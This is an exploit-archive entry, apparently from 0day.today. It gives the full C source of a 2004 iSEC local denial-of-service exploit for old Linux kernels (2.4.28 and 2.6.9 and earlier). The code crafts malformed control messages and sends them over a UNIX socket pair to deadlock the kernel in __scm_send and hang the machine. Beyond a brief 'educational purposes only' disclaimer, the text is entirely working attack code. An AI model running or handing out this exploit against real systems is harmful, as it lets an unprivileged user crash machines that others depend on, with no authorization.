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Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit
============================================================== Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit ============================================================== /* * Linux kernel 2.4 & 2.6 __scm_send DoS * Warning! this code will hang your machine * * gcc -O2 scmbang.c -o scmbang * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <sys/socket.h> #include <arpa/inet.h> static char buf[1024]; void fatal (const char *msg) { printf ("\n"); if (!errno) { fprintf (stderr, "FATAL: %s\n", msg); } else { perror (msg); } printf ("\n"); fflush (stdout); fflush (stderr); exit (1); } int main (void) { int s[2], r; struct sockaddr_in sin; struct msghdr *msg; struct cmsghdr *cmsg; r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s); if (r < 0) fatal ("socketpair"); memset (buf, 0, sizeof (buf)); msg = (void *) buf; msg->msg_control = (void *) (msg + 1); // make bad cmsgs cmsg = (void *) msg->msg_control; cmsg->cmsg_len = sizeof (*cmsg); cmsg->cmsg_level = 0xdeadbebe; cmsg->cmsg_type = 12; // len after overflow on second msg cmsg++; // -12 for deadlock cmsg->cmsg_len = -12; cmsg->cmsg_level = SOL_IP; msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control; r = sendmsg (s[0], msg, 0); if (r < 0) fatal ("sendmsg"); printf ("\nYou lucky\n"); fflush (stdout); return 0; } # 0day.today [2024-12-24] #